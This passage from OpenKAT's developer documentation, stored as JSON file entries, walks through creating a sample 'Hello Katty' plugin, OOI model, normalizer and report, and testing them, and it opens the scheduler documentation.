          },\n                \"input_ooi\": \"Hostname|internet|example.org\",\n                \"arguments\": {\n                    \"input\": {\n                      \"name\": \"example.nl\"\n                    }\n                  },\n                \"organization\": \"test\",\n                \"environment\": {\n                    \"REMOTE_NS\": \"0.0.0.0\"\n                }\n        }\n    }\n\n   }\n\nAn example of a condensed version of the request to the output url would be of the form:\n\n.. code:: json\n\n   {\n     \"status\": \"COMPLETED\",\n     \"files\": [\n        {\n            \"name\": \"my-first-output\",\n            \"content\": \"YWJjCg==\",\n            \"tags\": [\"boefje/dns-records\"]\n        },\n        {\n            \"name\": \"my-second-output\",\n            \"content\": \"ZGVmCg==\",\n            \"tags\": [\"application/json\", \"boefje/dns-records\", \"other/mime-types\"]\n        }\n    ]\n   }\n\nSuch an image can be added through the *Add Boefje* button in the KATalogus.\n\nCreating an OCI image using our Base Image\n------------------------------------------\n\nBecause a lot of our boefjes follow a similar pattern, we have created a Python base image you can use to quickly\ncreate a Python boefje. This base image handles communicating with the boefje API and lets you create boefjes as we've\ndone in the past.\n\nCreating a new boefje directory\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nInside ``boefjes/boefjes/plugins/`` create a new folder with a name\nstarting with ``kat_``. In this example we use ``kat_hello_katty``.\n\n.. warning::\n    Of course, you could decide to create these files elsewhere and still build your image using our base image. However,\n    adding it to this folder makes sure the new boefje is imported in the KAT-alogus automatically. Else you will have\n    to add the boefje using the ``Add Boefje`` button in the KAT-alogus and specify your newly created image tag manually.\n\nInside this folder we need to have the following files:\n\n.. code:: shell\n\n   $ tree boefjes/boefjes/plugins/kat_hello_katty/\n   ├── __init__.py\n   ├── boefje.json\n   ├── cover.jpg\n   ├── description.md\n   ├── boefje.Dockerfile\n   ├── main.py\n   └── schema.json\n\n``__init__.py``\n~~~~~~~~~~~~~~~\n\nThis file stays empty.\n\n``boefje.json``\n~~~~~~~~~~~~~~~\n\nThis file contains information about our boefje. For example, this file\ncontains information about what OOIs our boefje should be looking out\nfor. Here is the example we will be using:\n\n.. code:: json\n\n   {\n     \"id\": \"hello-katty\",\n     \"name\": \"Hello Katty\",\n     \"description\": \"A simple boefje that can say hello\",\n     \"consumes\": [\"IPAddressV4\", \"IPAddressV6\"],\n     \"scan_level\": 0,\n     \"oci_image\": \"openkat/hello-katty\"\n   }\n\n-  **``id``**: A unique identifier for the boefje.\n-  **``name``**: A name to display in the KAT-alogus.\n-  **``description``**: A description in the KAT-alogus.\n-  **``consumes``**: A list of OOI types that trigger the boefje to run.\n   Whenever one of these OOIs gets added, this boefje will run with that\n   OOI. In our case, we will run our boefje whenever a new IPAddressV4\n   or IPAddressV6 gets added.\n-  **``scan_level``**: A scan level that decides how intrusively this\n   boefje will scan the provided OOIs. Since we will not make any\n   external requests our boefje will have a scan level of 0.\n-  **``oci_image``**: The name of the docker image that is provided\n   inside ``boefjes/Makefile``\n\n``cover.jpg``\n~~~~~~~~~~~~~\n\nThis file has to be an image of the developer’s cat. This image will be\nused as a thumbnail for the boefje.\n\n``description.md``\n~~~~~~~~~~~~~~~~~~\n\nThis file contains a description of the boefje to explain to the user\nwhat this boefje does. For this example we can leave this empty.\n\n``schema.json``\n~~~~~~~~~~~~~~~\n\nTo allow the user to pass information to a boefje runtime, add a\nschema.json file to the folder where your boefje is located. This can be\nused, for example, to add an API key that the script requires. It must\nconform to the https://json-schema.org/ standard, for example:\n\n.. code:: json\n\n   {\n     \"title\": \"Arguments\",\n     \"type\": \"object\",\n     \"properties\": {\n       \"MESSAGE\": {\n         \"title\": \"Input text to give to the boefje\",\n         \"type\": \"string\",\n         \"description\": \"Some text so the boefje has some information to work with. Normally you could feed this an API key or a username.\"\n       },\n       \"NUMBER\": {\n         \"title\": \"Amount of cats to add\",\n         \"type\": \"integer\",\n         \"minimum\": 0,\n         \"maximum\": 9,\n         \"default\": 0,\n         \"description\": \"A number between 0 and 9. To show how many cats you want to add to the greeting\"\n       }\n     },\n     \"required\": [\"MESSAGE\"]\n   }\n\nThis JSON defines which additional environment variables can be set for\nthe boefje. There are two ways to do this. Firstly, using this schema as\nan example, you could set the ``BOEFJE_MESSAGE`` environment variable in\nthe boefje runtime. Prepending the key with ``BOEFJE_`` provides an\nextra safeguard. Note that setting an environment variable means this\nconfiguration is applied to *all* organisations. Secondly, if you want\nto avoid setting environment variables or configure it for just one\norganisation, it is also possible to set the API key through the\nKAT-alogus. Navigate to the boefje detail page of Shodan to find the\nschema as a form. These values take precedence over the environment\nvariables. This is also a way to test whether the schema is properly\nunderstood for your boefje. If encryption has been set up for the\nKATalogus, all keys provided through this form are stored encrypted in\nthe database.\n\nAlthough the Shodan boefje defines an API key, the schema could contain\nanything your boefje needs. However, OpenKAT currently officially only\nsupports “string” and “integer” properties that are one level deep.\nBecause keys may be passed through environment variables, schema\nvalidation does not happen right away when settings are added or boefjes\nenabled. Schema validation happens right before spawning a boefje,\nmeaning your tasks will fail if is missing a required variable.\n\n-  ``title``: This should always contain a string containing\n   ‘Arguments’.\n-  ``type``: This should always contain a string containing ‘object’.\n-  ``description``: A description of the boefje explaining in short what\n   it can do. This will both be displayed inside the KAT-alogus and on\n   the boefje’s page.\n-  ``properties``: This contains a list of objects which each will show\n   the KAT-alogus what inputs are requested from the user. This can\n   range from requesting for an API-key to extra commands the boefje\n   should run. Inside the ``boefje.json`` file, we specified 2\n   environment variables that will be used by this boefje.\n\n   -  ``MESSAGE``: For this property we ask the user to send us a string\n      which this boefje will use to create some raw data.\n   -  ``NUMBER``: For this property we ask the user to send us an\n      integer between 0 and 9.\n\n-  ``required``: In here we need to give a list of the objects’ names\n   that the user has to provide to run our boefje. For this example, we\n   will only require the user to give us the ``MESSAGE`` variable. We do\n   this by adding ``\"MESSAGE\"`` to the ``required`` list.\n\n``boefje.Dockerfile``\n~~~~~~~~~~~~~~~~~~~~~\n\nThis file is used to create a Docker (OCI) image and its specifications can be found on `Docker's official website <https://docs.docker.com/reference/dockerfile/>`_.\nAs this is a Python boefje we can use our base image that lives in ``boefjes/images/base.Dockerfile``.\nThis adds the standalone ``boefjes/worker`` module and sets the entrypoint so that the container adheres to our OCI specification.\nIn particular, it only assumes the ``boefje.json`` and a ``main.py`` with a ``run`` function to be present, just\nlike many of our other boefjes. This function will be called with a dictionary containing a ``boefje_meta``.\n\n.. warning::\n    The standalone worker module allows the OCI image to have another entrypoint where a long-running worker process is\n    started for this image specifically. For more info on the capabilities, see :doc:`/installation-and-deployment/separate-boefje-workers`\n\nIn the Dockerfile, extend from ``openkat/boefje-base:latest``. This image be built locally as an intermediate step.\nSet the environment variable ``OCI_IMAGE`` to the image id as specified in the ``oci_image`` field from the ``boefjes.json``.\nInstall any dependencies (as root if needed) and COPY your new directory into the image.\n\n.. code:: Dockerfile\n\n    FROM openkat/boefje-base:latest\n\n    ENV OCI_IMAGE=openkat/hello-katty\n\n    USER root\n    RUN apt-get update && apt-get install -y lib_hello_katty  # Any needed dependencies\n    USER nonroot  # Good practice\n\n    COPY ./boefjes/plugins/kat_hello_katty ./kat_hello_katty\n\n\n``main.py``\n~~~~~~~~~~~\n\nThis is the file where the boefje’s meowgic happens. This file has to\ncontain a run method that accepts a dictionary and returns a\n``list[tuple[set, bytes | str]]``. This function will run whenever a new\nOOI gets created with one of the types mentioned in ``consumes`` inside\n``boefje.json``. :\n\nHere is the example we will be using:\n\n.. code:: python\n\n   import json\n   from os import getenv\n\n   def run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n       \"\"\"Function that gets run to give a raw file for the normalizers to read from\"\"\"\n       address = boefje_meta[\"arguments\"][\"input\"][\"address\"]\n       MESSAGE = getenv(\"MESSAGE\", \"ERROR\")\n       NUMBER = getenv(\"NUMBER\", \"0\")\n\n       # Check if NUMBER has been given, if it has not. Keep it at 0\n       try:\n           amount_of_cats = int(NUMBER)\n       except _:\n           amount_of_cats = 0\n\n       cats = \"😺\" * amount_of_cats\n       greeting = f\"{MESSAGE}{cats}!!!\"\n\n       raw = json.dumps({\n           \"address\": address,\n           \"greeting\": greeting\n       })\n\n\n       return [\n           (set(), raw)\n       ]\n\nThe most important part is the return value we send back. This is what\nwill be used by our normalizer to create our new OOIs.\n\nFor ease of development, we added a generic finding normalizer. When we\njust want to create a CVE or other type of finding on the input OOI, we\ncan return the CVE ID or KAT ID as a string with ``openkat/finding`` as\nmime-type.\n\nIf your boefje does not make sense to run a given input ooi, and it never will,\nyou can use the ``openkat/deschedule`` mimetype to signal the scheduler about this.\nThe scheduler will in these cases de-schedule the specific boefje + inputooi combination.\nThis in turn makes sure no new jobs will be created for that combination.\nGood examples of when this usecase is useful are:\n\n* A local IP, and a Shodan like api which cannot possibly know anything about your local lan.\n* A scan on a ipPort that only handles specific port numbers, or similarly a scan on a given protocol.\n\n--------------\n\nThe final task of creating a boefje is building the OCI image. You can find examples in the ``boefjes/Makefile``. You\ncould add your own ``hello_katty`` target and add it to the ``images`` target as a dependency:\n\n**BEFORE**\n\n::\n\n    # Build the images for the containerized boefjes\n    images: dns-sec nmap export-http nikto adr-validator masscan nuclei ssl-certificates ssl-scan testssl-sh-ciphers webpage-capture wp-scan pdio-subfinder generic\n    ...\n\n**AFTER**\n\n::\n\n    # Build the images for the containerized boefjes\n    images: hello_katty dns-sec nmap export-http nikto adr-validator masscan nuclei ssl-certificates ssl-scan testssl-sh-ciphers webpage-capture wp-scan pdio-subfinder generic\n\n    hello_katty: base-image\n       docker build -f boefjes/plugins/kat_hello_katty/boefje.Dockerfile -t openkat/hello_katty .\n\nOr just run this command from your CLI. Just make sure to build the base-image first using ``make base-image``, or,\nfrom the top directory, ``make -C boefjes base-image``. Here, the ``-t openkat/hello_katty`` makes sure Docker can find\nthe image through the ``oci_image`` field as well.\n\nIf we run OpenKAT now we should be able to see this boefje sitting in the KAT-alogus. Let’s try it out!\n"
  },
  {
    "path": "docs/source/developer-documentation/development-tutorial/creating-model.md",
    "content": "# Creating a new model\n\n1. Inside `octopoes/octopoes/models/ooi/` create a file called `greeting.py`. This file will contain the model for our Greeting OOI.\n2. Inside this file we will create a class Greeting which will inherit from the OOI class. Inside this class, we can specify attributes that this model will maintain. For this example, we will add :\n   - A greeting with the type string that will contain text from the information provided from the boefje.\n   - An address with the type IPAddress (which can both be an IPAddressV4 an IPAddressV6) that has triggered our boefje.\n\nThis is how our `Greeting.py` should look like now:\n\n```python\nfrom __future__ import annotations\n\nfrom octopoes.models.ooi.network import IPAddress\nfrom octopoes.models import OOI\n\nclass Greeting(OOI):\n    greeting: str\n    address: IPAddress\n```\n\nBut OpenKAT also requires each OOI model to have properties called `object_type` and `_natural_key_attrs`. `object_type` has to be of type `Literal[<model_name>]` containing the model's name. And `_natural_key_attrs` is used to create the primary key for the database. It has to contain a list of strings that contain names of the unique attributes of our model. This is an example of how our `Greeting.py` could look like:\n\n```python\nfrom __future__ import annotations\n\nfrom typing import Literal\nfrom octopoes.models.ooi.network import IPAddress\nfrom octopoes.models import OOI\n\nclass Greeting(OOI):\n    object_type: Literal[\"Greeting\"] = \"Greeting\"\n\n    greeting: str\n    address: IPAddress\n\n    _natural_key_attrs = [\"greeting\", \"address\"]\n```\n\nThe final part we want to change is the address field. Instead of having a field _address_ that contains information about the address. We can store a reference to an existing address. And we know this address exists since this model will only be created when our boefje runs and our boefje only runs when an IPAddressV4 or IPAddressV6 OOI gets added. We can make our address a reference by changing the code in the following way.\n\n```python\nfrom __future__ import annotations\n\nfrom typing import Literal\nfrom octopoes.models.persistence import ReferenceField\nfrom octopoes.models.ooi.network import IPAddress\nfrom octopoes.models import OOI, Reference\n\nclass Greeting(OOI):\n    object_type: Literal[\"Greeting\"] = \"Greeting\"\n\n    greeting: str\n    address: Reference = ReferenceField(IPAddress, max_issue_scan_level=0, max_inherit_scan_level=3)\n\n    _natural_key_attrs = [\"greeting\", \"address\"]\n```\n\nAs you can see, the `ReferenceField` function takes in 3 parameters. The first option is the type of the object being referenced. `max_issue_scan_level` gets used to set the clearance level of the IPAddress (which will be scanned again once a new Greeting OOI gets created and references this address), in our example, we set it to 0 because we don't want the address to be scanned again. And with `max_inherit_scan_level` we specify what clearance level our Greeting OOI should get. The clearance level of our Greeting OOI gets inherited by the IPAddress as long as it is lower than `max_inherit_scan_level`.\n\nNow that our model is finished we need to add it to the lists of existing OOIs. We can do this by going to `octopoes/octopoes/models/types.py` and importing our Model by saying:\n\n```python\nfrom octopoes.models.ooi.greeting import Greeting\n```\n\nAnd then adding our Greeting model to the `ConcreteOOIType` set. This is what that would look like:\n\n**BEFORE**\n\n```python\n...\nConcreteOOIType = (\n    CertificateType\n    | DnsType\n    | DnsRecordType\n    | ConcreteNetworkType\n    | ServiceType\n    | SoftwareType\n    | WebType\n    | DNSSPFMechanismIP\n    | DNSSPFMechanismHostname\n    | DNSSPFMechanismNetBlock\n    | DNSSPFRecord\n    | MonitoringType\n    | EmailSecurityType\n    | Finding\n    | MutedFinding\n    | ConcreteFindingTypeType\n    | ConfigType\n    | Question\n    | ReportsType\n)\n...\n```\n\n**AFTER**\n\n```python\n...\nConcreteOOIType = (\n    CertificateType\n    | DnsType\n    | DnsRecordType\n    | ConcreteNetworkType\n    | ServiceType\n    | SoftwareType\n    | WebType\n    | DNSSPFMechanismIP\n    | DNSSPFMechanismHostname\n    | DNSSPFMechanismNetBlock\n    | DNSSPFRecord\n    | MonitoringType\n    | EmailSecurityType\n    | Finding\n    | MutedFinding\n    | ConcreteFindingTypeType\n    | ConfigType\n    | Question\n    | ReportsType\n    | Greeting\n)\n...\n```\n\nAfter this. OpenKAT has all the information needed for our model. Next, we will make a normalizer that takes in the boefje's raw data and makes a Greeting OOI.\n"
  },
  {
    "path": "docs/source/developer-documentation/development-tutorial/creating-normalizer.md",
    "content": "# Creating a normalizer\n\nA normalizer takes as input raw data (a single string or a list of bytes) and produces OOIs from this. If you followed the steps correctly, we should have both the raw data (from our boefje) and the model for the OOI we want to produce.\n\nTo create a normalizer we are going to need 2 more files (`normalizer.json` and `normalize.py`). These files can both be created inside the same directory as our boefje (`boefjes/boefjes/plugins/kat_hello_katty/`) This is what our example should look like:\n\n```shell\n$ tree boefjes/boefjes/plugins/\n├── __init__.py\n├── boefje.json\n├── cover.jpg\n├── description.md\n├── main.py\n├── schema.json\n├── normalizer.json\n└── normalize.py\n```\n\n## `normalizer.json`\n\nThis is a JSON file that contains information about our normalizer. The object inside should have 3 attributes:\n\n- `id`: The string `id` of the normalizer. For this, we will use the boefje's id with _\"-normalize\"_ concatenated to it.\n- `consumes`: This is a list where we can specify which boefje's data the normalizer can use. The list is made out of the boefjes' ids. This normalizer will only use the raw data from our boefje, so we will make a list containing our boefje's id prefixed with `boefje/`.\n- `produces`: This is also a list of strings where we can specify what OOIs our normalizer can produce. In our boefje's raw data, we can extract 3 kinds of OOIs. The IPAddressV4, IPAddressV6 and Greeting OOI. But when you want to create an IPAddress OOI, then you have to give it a reference to its network. Because we have to get the Network OOI anyway, we will also produce it in our normalizer.\n\nHere is an example of how our `normalizer.json` can look like:\n\n```json\n{\n  \"id\": \"hello-katty-normalize\",\n  \"name\": \"hello katty normalizer\",\n  \"consumes\": [\"boefje/hello-katty\"],\n  \"produces\": [\"IPAddressV6\", \"IPAddressV4\", \"Network\", \"Greeting\"]\n}\n```\n\n## `normalize.py`\n\nThis file is where the normalizer's meowgic happens. This file also has a run function that takes in information about the boefje and the raw data the boefje has provided. This run method returns an Iterable that contains OOIs. The first step we should take is to decode the raw data that we have received from our boefje and load the JSON string as a dictionary. Then we can create IPAddress OOIs. We do not know whether we should make an IPAddressV4 or IPAddressV6 So we will have to check what kind of IPAddress we have and yield the correct one. Creating an IPAddress requires specifying what network that IPAddress lies on (in our example that is the internet.) We can get this by using `normalizer_meta` also provided in our run function. This dictionary is similar to the JSON you have seen when downloading the results of our boefje's task. Inside this dictionary, we can get information on the IPAddress that has triggered our boefje. And pull the reference.\n\nLastly, we will create our unique OOI. This is as simple as creating an object of the `Greeting` we have made and yielding it. This is what our file could look like:\n\n```python\nimport json\nfrom collections.abc import Iterable\nfrom ipaddress import AddressValueError, IPv4Network, NetmaskValueError\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, Network\nfrom octopoes.models.ooi.greeting import Greeting\n\n\ndef is_ipv4(string: str) -> bool:\n    try:\n        IPv4Network(string)\n        return True\n    except (AddressValueError, NetmaskValueError, ValueError) as e:\n        return False\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[OOI]:\n    \"\"\"Function that gets run to produce OOIs from the boefje it consumes\"\"\"\n\n    data_string = str(raw, \"utf-8\")\n    data: dict = json.loads(data_string)\n\n    network = Network(name=input_ooi[\"network\"][\"name\"])\n    yield network\n\n    ip = None\n    if is_ipv4(data[\"address\"]):\n        ip = IPAddressV4(network=network.reference, address=data[\"address\"])\n    else:\n        ip = IPAddressV6(network=network.reference, address=data[\"address\"])\n\n    yield ip\n    yield Greeting(address=ip.reference, greeting=data[\"greeting\"])\n```\n\nThat should be all for the normalizer! If you restart OpenKAT with `make kat`. Then you should see that the normalizer gets dispatched. You can see this by going to the tab _Tasks_ and then switching from _Boefjes_ to _Normalizers_. And after it is completed (you might need to refresh your browser to see it update) you can unfold the task and see the OOIs it has created. One of those should be our Greeting OOI.\n\nTo see the Greeting object we can go to the tab _Objects_ and look for the object with the type `Greeting`. If you click it we can see the information of this particular object.\n\nThat is it for the normalizer, our next step is to look for our Greeting OOI and create a _Finding_ for it.\n"
  },
  {
    "path": "docs/source/developer-documentation/development-tutorial/creating-report.md",
    "content": "# Creating a report\n\nIf you go into the Reports tab you should be able to see our URL where we set our clearance level to L2 under the header _Select objects_. This is because by default OpenKAT only displays OOIs in this list with a clearance level of L2 and higher. We can fix this by pressing the _Show filter options_ button and then checking the L1 checkbox and checking the _Inherited_ box as well (since the clearance level of our OOI got inherited) to include our Greeting OOIs in this list as well. After pressing the _Set filters_ button we should be able to see our Greeting OOI in the list as well. When you do, you can check one of our Greeting OOIs and at the bottom press the _Continue with selection_ button.\n\nWhen you press this, the only option you will see is to go back since there is no report type for our Greeting OOI yet. Let's create one!\n\nFirst, we will once again make a new folder inside `rocky/reports/report_types` called `greetings_report`. And inside of here, we will create 3 more files, this is what our folder should look like:\n\n```shell\n$ tree rocky/reports/report_types/greetings_report\n├── __init__.py\n├── report.py\n└── report.html\n```\n\n## `__init__.py`\n\nThis file stays empty.\n\n## `report.py`\n\nInside this file, we will parse the data from the findings into our html. This file has to contain a class inheriting from `reports.report_types.definitions.Report` and requires a method that will generate data for our `report.html`. For this example, we will use the `generate_data` function which has a reference to our OOI.\n\nWe also have to overwrite some attributes of the class to give information about what kind of report it should be. The attributes that we have to reassign are:\n\n- `id`, a unique identifier for our report.\n- `name`, which will be used to display the report type (encapsulated by `gettext_lazy` from the Django package.)\n- `description`, which will be used to explain to the user what kind of report will be generated (encapsulated by `gettext_lazy` from the Django package.)\n- `plugins`, which will tell the user what other plugins (mainly boefjes) are recommended to be enabled when generating this report. (in our case there will be none)\n- `input_ooi_types`, which is a set containing the Models this report `consumes`.\n- `template_path`, which will contain the path to our HTML document.\n\nWith that, we now have to return a dictionary that contains information to be used for our HTML report. Let's keep it simple and only return our OOI. This is what our file could look like:\n\n```python\nfrom datetime import datetime\nfrom logging import getLogger\nfrom typing import Any\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models.ooi.greeting import Greeting\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\nlogger = getLogger(__name__)\n\n\nclass GreetingsReport(Report):\n    id = \"greetings-report\"\n    name = _(\"Greetings report\")\n    description = _(\"Makes a nice report about the selected greeting objects\")\n    plugins = {\"required\": set(), \"optional\": set()}\n    input_ooi_types = {Greeting, IPAddressV4, IPAddressV6}\n    template_path = \"greetings_report/report.html\"\n\n    def generate_data(self, input_ooi: str, valid_time: datetime) -> dict[str, Any]:\n        return {\"input_ooi\": input_ooi}\n```\n\n## `report.html`\n\nInside this file, we create a template of how our report should look like. This HTML file makes use of the [Django template language](https://docs.djangoproject.com/en/5.0/ref/templates/language/#the-django-template-language). In our example we will make a very simple, bare-bones page that displays our information. The return value of `GreetingReport`'s `generate_data` is contained in a variable called `data`, this is where we can get our information from. This is what our file could look like:\n\n```html\n<section id=\"greeting\">\n  <div>\n    <h2>Greeting report</h2>\n    <p>{{ data.input_ooi }}</p>\n  </div>\n</section>\n```\n\nAfter making these files we have to add our report to the list of report types. This is located inside `rocky/reports/report_types/helpers.py` and inside here we can add our report to the list of reports called `REPORTS`.\n\nAfter having done all that. The user should be able to create their own GreetingsReport! Let's try it out.\n\nLet's go to the reports tab, and change our filters again so we can see our Greetings OOI. Check one of their boxes and press the _Continue with selection_ button. Now in the grid of available report types you can make, you should see 2 options. The Findings Report and the Greetings Report. Let's check them both and press once more on the _Continue with selection_ button. Now you will see a report that includes both the Findings Report and the Greetings report inside a single web page. In the top right, you can press the _Export_ button which will make a pdf of your report. Including information about every finding of your project.\n\nIf you want to get more information inside your report, make sure to check our documentation about {ref}`developer-documentation/reports:Creating reports`.\n\n## Conclusion\n\nIf everything looks correct, then you have just created your very first boefje, normalizer, model, bit and report! Hopefully, this has successfully taught you how you can create plugins on OpenKAT to more efficiently test networks.\n"
  },
  {
    "path": "docs/source/developer-documentation/development-tutorial/index.rst",
    "content": "Development tutorial\n#####################\nWe will be making a boefje, a normalizer, a bit, a new OOI-model and a report type which will check the database for an IPAddressV4 or IPAddressV6 OOI and create a simple Greeting object that contains a string provided by the user with an IPAddressV4 or IPAddressV6 OOI.\n\nGlossary\n--------\n\n+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Term       | Description                                                                                                                                                                                                                                                           |\n+============+=======================================================================================================================================================================================================================================================================+\n| OOI        | Object Of Interest. An object that contains information. This can for example be an Ip address or a found vulnerability.                                                                                                                                              |\n+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Boefje     | A plugin that works in its docker container that looks for a certain type of OOI and then executes code (potentially scanning outside sources/APIs) when that OOI is found. This code will then return byte data that will be used by normalizers to create new OOIs. |\n+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Normalizer | A plugin that listens to specified boefjes' raw data, and creates new OOIs from the data that they find. This is often called a whisker.                                                                                                                              |\n+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Bit        | A plugin that waits for specified OOIs and creates more OOIs from these (mostly used to create findings).                                                                                                                                                             |\n+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Finding    | A special OOI that tells the user certain events have happened that might interest them. For example, a Finding could say that the server's SSH port is open while it should not.                                                                                     |\n+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n\n\n.. toctree::\n   :caption: Contents\n   :maxdepth: 1\n\n   creating-boefje\n   testing-boefje\n   creating-model\n   creating-normalizer\n   creating-bit\n   creating-report\n"
  },
  {
    "path": "docs/source/developer-documentation/development-tutorial/testing-boefje.md",
    "content": "# Testing the boefje\n\nFirst, we run `make kat`. After that successfully finishes. You can run `grep 'DJANGO_SUPERUSER_PASSWORD' .env` to get the password for the super user. The login e-mail is `superuser@localhost`.\n\nAfter logging in, OpenKAT will guide you through their first-time setup.\n\n1. Click the \"Let's get started\" button.\n2. Input the name of your company (or just any name since this is a test run)\n3. Also input a short code which will be used to identify your company on the back-end\n4. On the next page give indemnification on the organization and declare that you as a person can be held accountable.\n5. Press the \"Continue with this account, onboard me!\" button\n6. And then you can press on the \"Skip onboarding\" button to finish the setup.\n7. After that in the top left corner you can select your company.\n\nWe recommend that you at least once go through the onboarding process before developing your boefje.\n\n8. Now we want to enable our boefje, for this we will need to go to the KAT-alogus (in the navigation bar at the top) and look for our boefje and enable it.\n9. If you followed the steps correctly, you should see two text inputs being requested from you. In the first one, you can put in any text that you want to be part of the boefje's greeting. As you might remember the second input is asking for an integer between 0 and 9 (you can see the description of the text inputs by pressing the question mark to the right of the text input.)\n10. After having made your choice you can press the \"Add settings and enable boefje\" button.\n11. Now it should say that the boefje has been enabled, but if we go to the Tasks page (in the navigation bar at the top) we see that the boefje is currently not doing anything. This is because our boefje will only run if a valid IPAddressV4 or IPAddressV6 OOI is available. Let's create one of those by using existing boefjes and normalizers.\n\nIf you do not want to go through the trouble of seeing existing boefjes and normalizers to work you can go to Objects > Add new object > Object type: _IPAddressV4_ > Insert an IPv4 address for which you have an indemnification, and choose as network _Network|internet_ and then skip to step 19 of this tutorial.\n\n12. Enable the \"DnsRecords\" boefje. This boefje takes in a hostname and makes a DNS-record from it.\n13. Let's add a URL OOI. Go to Objects (in the navigation bar at the top) and on the right you will see an \"Add\" button. After pressing this button press the \"Add object\" button.\n14. As an object type we will choose URL.\n15. As a network for the URL we will select the internet (\"Network|internet\") and now we have to give it a website URL. For this example, we can use \"https://mispo.es/\" and then press the \"add url\" button.\n16. If we now go to the Tasks tab, we will see that still no boefjes are being run. This is because our URL has too low of a clearance level. Go to the tab Objects and select the \"mispo.es\" OOI by pressing the checkbox in front of it. Then you can change the clearance level on the bottom of the page. To be able to get an IPAddressV4 OOI from this object, we will need to give it a clearance level of L1 or higher. For this example let's set it to L2.\n17. After doing this we can go to the Tasks tab and see that boefjes have started running on our provided OOI. Now the \"DnsRecords\" boefje will make a raw file (of type \"boefje/dns-records\") and the \"Dns Normalize\" normalizer will obtain an IPAddressV4 or IPAddressV6 from this (you can see the normalizers task by going to the tab Tasks and then switching from Boefjes to the Normalizers tab.)\n18. If we now go to the Objects tab. We can see that a lot more OOIs have been added. And also among other things, we can see IPAddressV4s being added. This means our boefje should run too.\n19. After IPAddressV4 or IPAddressV6 OOIs have been added. Our boefje should immediately be queued to run from it. We can see this by going into the Tasks tab again. If you see a boefje called \"Hello Katty\" being run with a completed status then congratulations! Your first boefje has officially run! If your boefje or normalizer fails, you can download the raw files and see what went wrong.\n20. We can now open the task with the arrow button on the right and if we then press the \"Download meta and raw data\" it will install a zip file with 2 files inside.\n    - **meta file**: The json file contains meta data that our boefje has received. The `boefje_meta` object has been given to our `run` method as a parameter.\n    - **raw file**: The other file without extension contains the information our boefje has returned. In our case it should contain a json as a single line string. You can open this file with any text editor to check it out. This data will be available for the normalizers that consume raw data with the type `boefje/hello-katty`.\n\nNow that we have a way to generate the data for normalizers, we need to create a new type of OOI that the normalizer should generate from this raw data. So let's do that!\n"
  },
  {
    "path": "docs/source/developer-documentation/index.rst",
    "content": "Developer documentation\n###########################\n\nContains documentation for developers and contributors.\n\n.. toctree::\n   :maxdepth: 4\n   :caption: Contents\n\n   contributor/index\n   quick-start\n   basic-principles/index\n   rocky\n   mula\n   boefjes\n   boefjes-runner\n   normalisers-runner\n   bytes\n   octopoes\n   octopoes-models\n   octopoes-research\n   reports\n   development-tutorial/index\n   qa-test-plan\n"
  },
  {
    "path": "docs/source/developer-documentation/mula.md",
    "content": "# Scheduler\n\n## Purpose\n\nThe scheduler is responsible for scheduling the execution of tasks. The\nexecution of those tasks are being prioritized / scored by a ranker. The tasks\nare then pushed onto a priority queue.\n\nWithin the project of KAT, the scheduler is tasked with scheduling boefje,\nnormalizer, and report tasks.\n\n## Architecture\n\nSee\n[architecture](https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/tree/main/mula/docs/architecture.md)\ndocument for the architecture and the\n[extending](https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/tree/main/mula/docs/extending.md)\ndocument for the extending the scheduler with your own custom schedulers, and\nrankers.\n\n### Stack, packages and libraries\n\n| Name       | Version   | Description         |\n| ---------- | --------- | ------------------- |\n| Python     | ^3.10     |                     |\n| FastAPI    | ^0.115.12 | Used for api server |\n| SQLAlchemy | ^2.0.23   |                     |\n| pydantic   | ^2.11.3   |                     |\n| uvicorn    | ^0.29.0   |                     |\n\nThe scheduler uses PostgreSQL as its database.\n\n### External services\n\nThe scheduler interfaces with the following services:\n\n| Service     | Usage                                                                   |\n| ----------- | ----------------------------------------------------------------------- |\n| [Octopoes]  | Retrieving random OOI's of organizations                                |\n| [Katalogus] | Used for referencing available plugins and organizations                |\n| [Bytes]     | Retrieve last run boefje for organization and OOI                       |\n| [RabbitMQ]  | Used for retrieving scan profile changes, and created raw data in bytes |\n\n### Project structure\n\n```\n.\n├── docs/                           # additional documentation\n├── scheduler/                      # scheduler python module\n│   ├── clients/                    # external service clients\n│   │   ├── amqp/                   # amqp clients\n│   │   ├── http/                   # http api clients\n│   │   ├── __init__.py\n│   │   ├── connector.py\n│   │   └── errors.py\n│   ├── config/                     # application settings configuration\n│   ├── context/                    # shared application context\n│   ├── models/                     # internal model definitions\n│   ├── schedulers/                 # schedulers\n│   │   ├── queue/                  # priority queue implementation\n│   │   ├── rankers/                # rankers for tasks\n│   │   ├── schedulers/\n│   │   │   ├── __init__.py\n│   │   │   ├── boefje.py           # boefje scheduler implementation\n│   │   │   ├── normalizer.py       # normalizer scheduler implementation\n│   │   │   └── report.py           # report scheduler implementation\n│   │   ├── __init__.py\n│   │   └── scheduler.py            # abstract base class for schedulers\n│   ├── storage/                    # data abstraction layer\n│   ├── server/                     # http rest api server\n│   ├── utils/                      # common utility functions\n│   ├── __init__.py\n│   ├── __main__.py\n│   ├── app.py                      # openkat scheduler app implementation\n│   └── version.py                  # version information\n└─── tests/                         # test suite\n```\n\n## Running / Developing\n\nTypically the scheduler will be run from the overarching\n[nl-kat-coordination](https://github.com/SSC-ICT-Innovatie/nl-kat-coordination) project.\nWhen you want to run and the scheduler individually you can use the following\nsetup. We are using docker to setup our development 